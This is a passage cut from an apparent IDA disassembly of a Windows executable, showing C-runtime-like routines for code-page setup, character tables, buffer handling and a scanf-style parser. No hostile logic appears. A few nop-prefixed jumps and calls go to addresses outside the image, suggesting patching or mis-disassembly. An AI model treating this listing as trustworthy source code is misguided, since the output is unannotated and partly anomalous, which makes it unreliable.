XREF: sub_420749+1Dj xor eax, eax jmp short loc_4208DD ; --------------------------------------------------------------------------- loc_4208DA: ; CODE XREF: sub_420749+181j or eax, 0FFFFFFFFh loc_4208DD: ; CODE XREF: sub_420749+18Fj pop edi pop esi pop ebx leave retn sub_420749 endp ; =============== S U B R O U T I N E ======================================= sub_4208E2 proc near ; CODE XREF: sub_420749+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DBE4C, 0 cmp eax, 0FFFFFFFEh jnz short loc_420902 mov dword_4DBE4C, 1 nop jmp near ptr 265088Bh ; --------------------------------------------------------------------------- loc_420902: ; CODE XREF: sub_4208E2+Ej cmp eax, 0FFFFFFFDh jnz short loc_420917 mov dword_4DBE4C, 1 jmp near ptr 26508B0h ; --------------------------------------------------------------------------- db 0A9h ; --------------------------------------------------------------------------- loc_420917: ; CODE XREF: sub_4208E2+23j cmp eax, 0FFFFFFFCh jnz short locret_42092B mov eax, dword_4DBE94 mov dword_4DBE4C, 1 locret_42092B: ; CODE XREF: sub_4208E2+38j retn sub_4208E2 endp ; =============== S U B R O U T I N E ======================================= sub_42092C proc near ; CODE XREF: sub_420749+118p ; sub_420749+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_420959 sub eax, 4 jz short loc_420953 sub eax, 0Dh jz short loc_42094D dec eax jz short loc_420947 xor eax, eax retn ; --------------------------------------------------------------------------- loc_420947: ; CODE XREF: sub_42092C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_42094D: ; CODE XREF: sub_42092C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_420953: ; CODE XREF: sub_42092C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_420959: ; CODE XREF: sub_42092C+9j mov eax, 411h retn sub_42092C endp ; =============== S U B R O U T I N E ======================================= sub_42095F proc near ; CODE XREF: sub_420749:loc_4208CCp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DD260 rep stosd stosb xor eax, eax mov edi, offset dword_4DD150 mov dword_4DD144, eax mov dword_4DD15C, eax mov dword_4DD364, eax stosd stosd stosd pop edi retn sub_42095F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420988 proc near ; CODE XREF: sub_420749:loc_4208D1p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DD144 nop call near ptr 2660000h cmp eax, 1 jnz loc_420AC1 xor eax, eax mov esi, 100h loc_4209B2: ; CODE XREF: sub_420988+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_4209B2 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420A03 push ebx push edi lea edx, [ebp+var_D] loc_4209D1: ; CODE XREF: sub_420988+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_4209F8 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_4209F8: ; CODE XREF: sub_420988+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_4209D1 pop edi pop ebx loc_420A03: ; CODE XREF: sub_420988+42j push 0 lea eax, [ebp+var_514] push dword_4DD364 push dword_4DD144 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_4244F4 push 0 lea eax, [ebp+var_214] push dword_4DD144 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DD364 call sub_4232A8 push 0 lea eax, [ebp+var_314] push dword_4DD144 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DD364 call sub_4232A8 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_420A7E: ; CODE XREF: sub_420988+135j mov dx, [ecx] test dl, 1 jz short loc_420A9C or byte_4DD261[eax], 10h mov dl, [ebp+eax+var_214] loc_420A94: ; CODE XREF: sub_420988+127j mov byte_4DD160[eax], dl jmp short loc_420AB8 ; --------------------------------------------------------------------------- loc_420A9C: ; CODE XREF: sub_420988+FCj test dl, 2 jz short loc_420AB1 or byte_4DD261[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_420A94 ; --------------------------------------------------------------------------- loc_420AB1: ; CODE XREF: sub_420988+117j and byte_4DD160[eax], 0 loc_420AB8: ; CODE XREF: sub_420988+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_420A7E jmp short loc_420B0A ; --------------------------------------------------------------------------- loc_420AC1: ; CODE XREF: sub_420988+1Dj xor eax, eax mov esi, 100h loc_420AC8: ; CODE XREF: sub_420988+180j cmp eax, 41h jb short loc_420AE6 cmp eax, 5Ah ja short loc_420AE6 or byte_4DD261[eax], 10h mov cl, al add cl, 20h loc_420ADE: ; CODE XREF: sub_420988+174j mov byte_4DD160[eax], cl jmp short loc_420B05 ; --------------------------------------------------------------------------- loc_420AE6: ; CODE XREF: sub_420988+143j ; sub_420988+148j cmp eax, 61h jb short loc_420AFE cmp eax, 7Ah ja short loc_420AFE or byte_4DD261[eax], 20h mov cl, al sub cl, 20h jmp short loc_420ADE ; --------------------------------------------------------------------------- loc_420AFE: ; CODE XREF: sub_420988+161j ; sub_420988+166j and byte_4DD160[eax], 0 loc_420B05: ; CODE XREF: sub_420988+15Cj inc eax cmp eax, esi jb short loc_420AC8 loc_420B0A: ; CODE XREF: sub_420988+137j pop esi leave retn sub_420988 endp ; =============== S U B R O U T I N E ======================================= sub_420B0D proc near ; CODE XREF: ___:00423684p ; ___:004236E0p ... cmp dword_4DD394, 0 jnz short locret_420B28 push 0FFFFFFFDh call sub_420749 pop ecx mov dword_4DD394, 1 locret_420B28: ; CODE XREF: sub_420B0D+7j retn sub_420B0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420B29 proc near ; CODE XREF: sub_41C3B1+2Bp ; sub_41C3B1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DD15C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_420B4D push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41BFD0 add esp, 0Ch jmp short loc_420BB0 ; --------------------------------------------------------------------------- loc_420B4D: ; CODE XREF: sub_420B29+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_420B92 mov ecx, [ebp+arg_4] loc_420B58: ; CODE XREF: sub_420B29+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DD261[esi], 4 mov [edi], al jz short loc_420B7C inc edi inc ecx test edx, edx jz short loc_420B88 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_420B8E jmp short loc_420B82 ; --------------------------------------------------------------------------- loc_420B7C: ; CODE XREF: sub_420B29+3Ej inc edi inc ecx test al, al jz short loc_420B92 loc_420B82: ; CODE XREF: sub_420B29+51j test edx, edx jnz short loc_420B58 jmp short loc_420B92 ; --------------------------------------------------------------------------- loc_420B88: ; CODE XREF: sub_420B29+44j and byte ptr [edi-1], 0 jmp short loc_420B92 ; --------------------------------------------------------------------------- loc_420B8E: ; CODE XREF: sub_420B29+4Fj and byte ptr [edi-2], 0 loc_420B92: ; CODE XREF: sub_420B29+2Aj ; sub_420B29+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_420BAD lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_420BAD: ; CODE XREF: sub_420B29+6Fj mov eax, [ebp+arg_0] loc_420BB0: ; CODE XREF: sub_420B29+22j pop edi pop ebp retn sub_420B29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420BB3 proc near ; CODE XREF: sub_41C59D+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBE84, 0 push ebx jnz short loc_420BDE mov eax, [ebp+arg_0] cmp eax, 61h jl loc_420C7C cmp eax, 7Ah jg loc_420C7C sub eax, 20h jmp loc_420C7C ; --------------------------------------------------------------------------- loc_420BDE: ; CODE XREF: sub_420BB3+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420C11 cmp dword_43D084, 1 jle short loc_420BFE push 2 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_420C09 ; --------------------------------------------------------------------------- loc_420BFE: ; CODE XREF: sub_420BB3+3Dj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 2 loc_420C09: ; CODE XREF: sub_420BB3+49j test eax, eax jnz short loc_420C11 loc_420C0D: ; CODE XREF: sub_420BB3+AFj mov eax, ebx jmp short loc_420C7C ; --------------------------------------------------------------------------- loc_420C11: ; CODE XREF: sub_420BB3+34j ; sub_420BB3+58j mov edx, off_43CE78 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420C34 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_420C3D ; --------------------------------------------------------------------------- loc_420C34: ; CODE XREF: sub_420BB3+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_420C3D: ; CODE XREF: sub_420BB3+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_420C0D cmp eax, 1 jnz short loc_420C6F movzx eax, [ebp+var_4] jmp short loc_420C7C ; --------------------------------------------------------------------------- loc_420C6F: ; CODE XREF: sub_420BB3+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_420C7C: ; CODE XREF: sub_420BB3+14j ; sub_420BB3+1Dj ... pop ebx leave retn sub_420BB3 endp ; =============== S U B R O U T I N E ======================================= sub_420C7F proc near ; CODE XREF: sub_41C7BC+1Dp ; sub_41DC5E+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DBDE0, ecx mov eax, offset dword_43D190 loc_420C90: ; CODE XREF: sub_420C7F+1Ej cmp ecx, [eax] jz short loc_420CB4 add eax, 8 inc edx cmp eax, offset dword_43D2F8 jl short loc_420C90 cmp ecx, 13h jb short loc_420CC1 cmp ecx, 24h ja short loc_420CC1 mov dword_4DBDDC, 0Dh retn ; --------------------------------------------------------------------------- loc_420CB4: ; CODE XREF: sub_420C7F+13j mov eax, dword_43D194[edx*8] mov dword_4DBDDC, eax retn ; --------------------------------------------------------------------------- loc_420CC1: ; CODE XREF: sub_420C7F+23j ; sub_420C7F+28j cmp ecx, 0BCh jb short loc_420CDB cmp ecx, 0CAh mov dword_4DBDDC, 8 jbe short locret_420CE5 loc_420CDB: ; CODE XREF: sub_420C7F+48j mov dword_4DBDDC, 16h locret_420CE5: ; CODE XREF: sub_420C7F+5Aj retn sub_420C7F endp ; =============== S U B R O U T I N E ======================================= sub_420CE6 proc near ; CODE XREF: sub_41C7E6+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_42463D test eax, eax pop ecx jz short loc_420D6F cmp esi, offset dword_43D588 jnz short loc_420D04 xor eax, eax jmp short loc_420D0F ; --------------------------------------------------------------------------- loc_420D04: ; CODE XREF: sub_420CE6+18j cmp esi, offset dword_43D5A8 jnz short loc_420D6F push 1 pop eax loc_420D0F: ; CODE XREF: sub_420CE6+1Cj inc dword_4DBFAC test word ptr [esi+0Ch], 10Ch jnz short loc_420D6F cmp dword_4DBE50[eax*4], 0 push ebx push edi lea edi, ds:4DBE50h[eax*4] mov ebx, 1000h jnz short loc_420D55 push ebx call sub_41BEB5 test eax, eax pop ecx mov [edi], eax jnz short loc_420D55 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_420D62 ; --------------------------------------------------------------------------- loc_420D55: ; CODE XREF: sub_420CE6+4Dj ; sub_420CE6+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_420D62: ; CODE XREF: sub_420CE6+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_420D6F: ; CODE XREF: sub_420CE6+10j ; sub_420CE6+24j ... xor eax, eax pop esi retn sub_420CE6 endp ; =============== S U B R O U T I N E ======================================= sub_420D73 proc near ; CODE XREF: sub_41C7E6+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_420D9D mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_420DAE push esi call sub_41E42B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_420D9D: ; CODE XREF: sub_420D73+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_420DAE push eax call sub_41E42B pop ecx loc_420DAE: ; CODE XREF: sub_420D73+10j ; sub_420D73+32j pop esi retn sub_420D73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420DB0 proc near ; CODE XREF: sub_41CCE3+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_4217B6 mov edi, [ebp+arg_0] jmp short loc_420DDF ; --------------------------------------------------------------------------- loc_420DDA: ; CODE XREF: sub_420DB0+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_420DDF: ; CODE XREF: sub_420DB0+28j cmp dword_43D084, 1 jle short loc_420DF7 movzx eax, al push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_420E06 ; --------------------------------------------------------------------------- loc_420DF7: ; CODE XREF: sub_420DB0+36j mov ecx, off_43CE78 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420E06: ; CODE XREF: sub_420DB0+45j cmp eax, ebx jz short loc_420E40 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_42183D pop ecx pop ecx push eax call sub_421826 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DF10 add esp, 0Ch loc_420E2E: ; CODE XREF: sub_420DB0+8Ej test eax, eax jz short loc_420E40 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DF10 pop ecx jmp short loc_420E2E ; --------------------------------------------------------------------------- loc_420E40: ; CODE XREF: sub_420DB0+58j ; sub_420DB0+80j cmp byte ptr [esi], 25h jnz loc_421722 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_420E77: ; CODE XREF: sub_420DB0+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43D084, 1 jle short loc_420E94 movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_420EA3 ; --------------------------------------------------------------------------- loc_420E94: ; CODE XREF: sub_420DB0+D3j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420EA3: ; CODE XREF: sub_420DB0+E2j test eax, eax jz short loc_420EB9 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EB9: ; CODE XREF: sub_420DB0+F5j cmp ebx, 4Eh jg short loc_420EFC jz short loc_420F1E cmp ebx, 2Ah jz short loc_420EF7 cmp ebx, 46h jz short loc_420F1E cmp ebx, 49h jz short loc_420ED9 cmp ebx, 4Ch jnz short loc_420F0B inc [ebp+var_D] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420ED9: ; CODE XREF: sub_420DB0+11Dj cmp byte ptr [esi+1], 36h jnz short loc_420F0B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_420F0B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EF7: ; CODE XREF: sub_420DB0+113j inc [ebp+var_E] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EFC: ; CODE XREF: sub_420DB0+10Cj cmp ebx, 68h jz short loc_420F18 cmp ebx, 6Ch jz short loc_420F10 cmp ebx, 77h jz short loc_420F13 loc_420F0B: ; CODE XREF: sub_420DB0+122j ; sub_420DB0+12Dj ... inc [ebp+var_F] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420F10: ; CODE XREF: sub_420DB0+154j inc [ebp+var_D] loc_420F13: ; CODE XREF: sub_420DB0+159j inc [ebp+var_5] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420F18: ; CODE XREF: sub_420DB0+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_420F1E: ; CODE XREF: sub_420DB0+107j ; sub_420DB0+10Ej ... cmp [ebp+var_F], 0 jz loc_420E77 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_420F43 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_420F43: ; CODE XREF: sub_420DB0+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_420F61 mov al, [esi] cmp al, 53h jz short loc_420F5D cmp al, 43h jz short loc_420F5D or [ebp+var_5], 0FFh jmp short loc_420F61 ; --------------------------------------------------------------------------- loc_420F5D: ; CODE XREF: sub_420DB0+1A1j ; sub_420DB0+1A5j mov [ebp+var_5], 1 loc_420F61: ; CODE XREF: sub_420DB0+19Bj ; sub_420DB0+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_420F9A cmp esi, 63h jz short loc_420F8B cmp esi, 7Bh jz short loc_420F8B push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_42183D pop ecx jmp short loc_420F96 ; --------------------------------------------------------------------------- loc_420F8B: ; CODE XREF: sub_420DB0+1C5j ; sub_420DB0+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C loc_420F96: ; CODE XREF: sub_420DB0+1D9j pop ecx mov [ebp+var_14], eax loc_420F9A: ; CODE XREF: sub_420DB0+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_420FAA cmp [ebp+var_C], eax jz loc_421786 loc_420FAA: ; CODE XREF: sub_420DB0+1EFj cmp esi, 6Fh jg loc_421211 jz loc_4214C3 cmp esi, 63h jz loc_4211EE cmp esi, 64h jz loc_4214C3 jle loc_42123B cmp esi, 67h jle short loc_42100E cmp esi, 69h jz short loc_420FF6 cmp esi, 6Eh jnz loc_42123B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_4216F1 jmp loc_421717 ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420DB0+229j push 64h pop esi loc_420FF9: ; CODE XREF: sub_420DB0+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_421283 mov [ebp+var_17], 1 jmp loc_421288 ; --------------------------------------------------------------------------- loc_42100E: ; CODE XREF: sub_420DB0+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42102A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42102F ; --------------------------------------------------------------------------- loc_42102A: ; CODE XREF: sub_420DB0+26Aj cmp ebx, 2Bh jnz short loc_421046 loc_42102F: ; CODE XREF: sub_420DB0+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_421049 ; --------------------------------------------------------------------------- loc_421046: ; CODE XREF: sub_420DB0+27Dj mov edi, [ebp+arg_0] loc_421049: ; CODE XREF: sub_420DB0+294j cmp [ebp+var_20], 0 jz short loc_421058 cmp [ebp+var_C], 15Dh jle short loc_42105F loc_421058: ; CODE XREF: sub_420DB0+29Dj mov [ebp+var_C], 15Dh loc_42105F: ; CODE XREF: sub_420DB0+2A6j ; sub_420DB0+2F2j cmp dword_43D084, 1 jle short loc_421074 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_42107F ; --------------------------------------------------------------------------- loc_421074: ; CODE XREF: sub_420DB0+2B6j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_42107F: ; CODE XREF: sub_420DB0+2C2j test eax, eax jz short loc_4210A4 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4210A4 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42105F ; --------------------------------------------------------------------------- loc_4210A4: ; CODE XREF: sub_420DB0+2D1j ; sub_420DB0+2DBj cmp byte_43D088, bl jnz short loc_421112 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_421112 inc [ebp+var_4] push edi call sub_42180C mov ebx, eax mov al, byte_43D088 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_4210CD: ; CODE XREF: sub_420DB0+360j cmp dword_43D084, 1 jle short loc_4210E2 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_4210ED ; --------------------------------------------------------------------------- loc_4210E2: ; CODE XREF: sub_420DB0+324j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_4210ED: ; CODE XREF: sub_420DB0+330j test eax, eax jz short loc_421112 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_421112 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4210CD ; --------------------------------------------------------------------------- loc_421112: ; CODE XREF: sub_420DB0+2FAj ; sub_420DB0+304j ... cmp [ebp+var_1C], 0 jz loc_4211AA cmp ebx, 65h jz short loc_42112A cmp ebx, 45h jnz loc_4211AA loc_42112A: ; CODE XREF: sub_420DB0+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4211AA mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_421151 mov [esi], al inc esi jmp short loc_421156 ; --------------------------------------------------------------------------- loc_421151: ; CODE XREF: sub_420DB0+39Aj cmp ebx, 2Bh jnz short loc_421174 loc_421156: ; CODE XREF: sub_420DB0+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_421165 and [ebp+var_C], eax jmp short loc_421174 ; --------------------------------------------------------------------------- loc_421165: ; CODE XREF: sub_420DB0+3AEj ; sub_420DB0+3F8j inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_421174: ; CODE XREF: sub_420DB0+3A4j ; sub_420DB0+3B3j cmp dword_43D084, 1 jle short loc_421189 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421194 ; --------------------------------------------------------------------------- loc_421189: ; CODE XREF: sub_420DB0+3CBj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421194: ; CODE XREF: sub_420DB0+3D7j test eax, eax jz short loc_4211AA mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4211AA inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_421165 ; --------------------------------------------------------------------------- loc_4211AA: ; CODE XREF: sub_420DB0+366j ; sub_420DB0+374j ... dec [ebp+var_4] push edi push ebx call sub_421826 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_4217B6 cmp [ebp+var_E], 0 jnz loc_421717 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43D428 add esp, 0Ch jmp loc_421717 ; --------------------------------------------------------------------------- loc_4211EE: ; CODE XREF: sub_420DB0+20Cj cmp [ebp+var_20], eax jnz short loc_4211FD inc [ebp+var_C] mov [ebp+var_20], 1 loc_4211FD: ; CODE XREF: sub_420DB0+441j cmp [ebp+var_5], 0 jle short loc_421207 mov [ebp+var_16], 1 loc_421207: ; CODE XREF: sub_420DB0+451j mov edi, offset dword_43D300 jmp loc_42131C ; --------------------------------------------------------------------------- loc_421211: ; CODE XREF: sub_420DB0+1FDj mov eax, esi sub eax, 70h jz loc_4214BF sub eax, 3 jz loc_42130D dec eax dec eax jz loc_4214C3 sub eax, 3 jz loc_420FF9 sub eax, 3 jz short loc_42125F loc_42123B: ; CODE XREF: sub_420DB0+21Bj ; sub_420DB0+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_421786 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_421717 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_421717 ; --------------------------------------------------------------------------- loc_42125F: ; CODE XREF: sub_420DB0+489j cmp [ebp+var_5], 0 jle short loc_421269 mov [ebp+var_16], 1 loc_421269: ; CODE XREF: sub_420DB0+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_421320 mov eax, edi lea edi, [eax+1] jmp loc_42131C ; --------------------------------------------------------------------------- loc_421283: ; CODE XREF: sub_420DB0+24Fj cmp ebx, 2Bh jnz short loc_4212AA loc_421288: ; CODE XREF: sub_420DB0+259j dec [ebp+var_C] jnz short loc_421299 cmp [ebp+var_20], 0 jz short loc_421299 mov [ebp+var_F], 1 jmp short loc_4212AA ; --------------------------------------------------------------------------- loc_421299: ; CODE XREF: sub_420DB0+4DBj ; sub_420DB0+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4212AA: ; CODE XREF: sub_420DB0+4D6j ; sub_420DB0+4E7j cmp ebx, 30h jnz loc_4214F8 push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_4212F8 cmp bl, 58h jz short loc_4212F8 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_4212E2 push 6Fh loc_4212DC: ; CODE XREF: sub_420DB0+55Bj pop esi jmp loc_4214F8 ; --------------------------------------------------------------------------- loc_4212E2: ; CODE XREF: sub_420DB0+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx push 30h pop ebx jmp loc_4214F5 ; --------------------------------------------------------------------------- loc_4212F8: ; CODE XREF: sub_420DB0+517j ; sub_420DB0+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_4212DC ; --------------------------------------------------------------------------- loc_42130D: ; CODE XREF: sub_420DB0+46Fj cmp [ebp+var_5], 0 jle short loc_421317 mov [ebp+var_16], 1 loc_421317: ; CODE XREF: sub_420DB0+561j mov edi, offset dword_43D2F8 loc_42131C: ; CODE XREF: sub_420DB0+45Cj ; sub_420DB0+4CEj or [ebp+var_18], 0FFh loc_421320: ; CODE XREF: sub_420DB0+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41BF70 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_421344 cmp byte ptr [edi], 5Dh jnz short loc_421344 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_421347 ; --------------------------------------------------------------------------- loc_421344: ; CODE XREF: sub_420DB0+584j ; sub_420DB0+589j mov dl, [ebp+var_35] loc_421347: ; CODE XREF: sub_420DB0+592j ; sub_420DB0+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_4213AC inc edi cmp al, 2Dh jnz short loc_421393 test dl, dl jz short loc_421393 mov cl, [edi] cmp cl, 5Dh jz short loc_421393 inc edi cmp dl, cl jnb short loc_421366 mov al, cl jmp short loc_42136A ; --------------------------------------------------------------------------- loc_421366: ; CODE XREF: sub_420DB0+5B0j mov al, dl mov dl, cl loc_42136A: ; CODE XREF: sub_420DB0+5B4j cmp dl, al ja short loc_42138F movzx edx, 